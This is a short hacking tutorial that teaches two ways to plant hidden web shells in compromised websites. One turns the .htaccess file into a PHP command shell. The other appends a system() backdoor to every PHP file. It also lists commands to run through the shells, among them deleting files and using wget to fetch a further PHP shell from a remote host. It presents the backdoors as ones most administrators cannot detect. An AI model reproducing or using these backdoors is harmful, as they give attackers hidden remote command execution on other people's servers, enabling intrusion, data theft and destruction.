Simple and Effective Backdoor Technique..

In This Tutorial I Will Teach You Guys Two Methods of simple backdoors

Note:-90% webadmins cant detect these backdoors, so enjoy..

Method 1:-

Backdoor .htaccess file:

To backdoor .htaccess file of a
website.

Add the code below to the .htaccess
file and change permission to 777 (chmod 777).

Code:-

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-
php .htaccess
# <?php passthru($_GET
['cmd']); ?>

Now goto:

Code:-
site.com/.htaccess?cmd=ls

after = you can run a command of
your choice :).

Method 2:-

Backdoor all php files:

To Backdoor all php files using a small code.

Code:

<?php $cmd = <<<EOD
cmd
EOD;
if(isset($_REQUEST[$cmd])) {
system($_REQUEST[$cmd]); } ?>

Append the above code into all PHP files of the website.

Now goto the:

backdooredsite.com/
phpfile.php?cmd=

After the equal sign add your
command.

Sample Commands:-

Code:-

ls = Display the contents of
the current directory
ls -a  = Display also hidden
files and hidden directories
rm name = Remove a file or
directory called name
wget http://site.com/
shell.txt;mv shell.txt
shell.php = Upload php shell

Thats It Enjoy Simple and Effective Backdooring..